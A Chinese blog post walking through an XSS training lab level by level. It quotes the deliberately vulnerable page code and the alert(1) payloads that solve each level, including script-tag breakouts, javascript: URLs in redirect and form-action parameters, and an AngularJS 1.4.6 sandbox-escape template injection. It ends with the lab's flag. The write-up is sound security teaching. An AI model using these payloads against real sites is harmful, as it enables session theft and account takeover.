xss-lab学习

xss-lab

进入靶场

zoom-shadow

level 1

改变参数username,页面显示发生变化,说明存在xss点

zoom-shadow

尝试payload

<script>alert</script>

zoom-shadow

level 2

尝试上一关的做法:

zoom-shadow

失败。于是审计源码,关键代码如下:

 <script type="text/javascript">
    	if(location.search == ""){
    		location.search = "?username=xss"
    	}
    	var username = '<script>alert(1)</script>';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>

尝试提前闭合username变量,payload如下:

username=';</script><script>alert(1)<script>

zoom-shadow

level 3

zoom-shadow

尝试上一关的做法,依然通过……

本来这个题目,单引号会被转义的,但是因为提前闭合了<script>标签,因此,前面的都闭合了。

level 4

zoom-shadow

关键代码如下:

<script type="text/javascript">
    	var time = 10;
    	var jumpUrl;
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
    
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url,因此payload如下:

level4?jumpUrl=javascript:alert(1)

等待几秒,成功

zoom-shadow

level 5

zoom-shadow

尝试提交payload

<script>alert(1)</script>

zoom-shadow

提示无法使用POST请求,于是审计源代码,关键代码如下所示:

<script type="text/javascript">
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>

payload如下:

level5?autosubmit=1&action=javascript:alert(1)

zoom-shadow

level 6

zoom-shadow

username的输入全部被输出到页面中。

输入{undefined{3*3}}输出9,考虑可能存在模板注入。

审计源码,关键代码如下:

<script type="text/javascript" src="main.js"></script>
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

结合wappalzer,可知此处存在模板xss

zoom-shadow

payload

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

AngularJS客户端模板注入(XSS)
Angular的沙箱逃逸:AngularJS Sandbox Bypasses

zoom-shadow

you win!
here is your flag : n1book{xss_is_so_interesting}

posted @ 2022-03-03 14:06  sherlson  阅读(170)  评论(0编辑  收藏  举报